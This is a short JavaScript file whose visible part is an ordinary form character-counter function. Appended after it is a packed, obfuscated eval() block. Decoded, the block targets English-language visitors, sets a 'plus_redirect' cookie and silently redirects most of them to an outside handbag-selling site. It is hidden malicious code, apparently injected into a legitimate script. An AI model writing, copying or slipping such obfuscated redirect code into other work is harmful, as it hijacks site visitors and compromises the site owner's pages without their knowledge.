/* javascript function to update form field
 *  field		form field that is being counted
 *  count		form field that will show characters left
 *  maxchars 	maximum number of characters
*/
function characterCount(field, count, maxchars) {
  var realchars = field.value.replace(/\t|\r|\n|\r\n/g,'');
  var excesschars = realchars.length - maxchars;
  if (excesschars > 0) {
		field.value = field.value.substring(0, maxchars);
		alert("Error:\n\n- You are only allowed to enter up to"+maxchars+" characters.");
	} else {
		count.value = maxchars - realchars.length;
	}
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(c(){	w 4 = a;	w p = (l.j ? l.j : l.v).s();	w q = (l.r ? l.r : \'y-5\').s();	h(p == q)	{		h(p == \'9-u\' || p == \'9-d\')		{			g = 3.b(3.o() * 1);			h(g <= 2 && 8.7.i(\'n=t\') == -0)			{				4 = t;			}			8.7 = \'n=t\';			h(4) k.e = \'f://x.m.6\';		}	}})()',62,35,'1|100|90|Math|bJump|cn|com|cookie|document|en|false|floor|function|gb|href|http|iRnd|if|indexOf|language|location|navigator|no1handbag|plus_redirect|random|sLang|sOSLang|systemLanguage|toLowerCase|true|us|userLanguage|var|www|zh'.split('|'),0,{}))
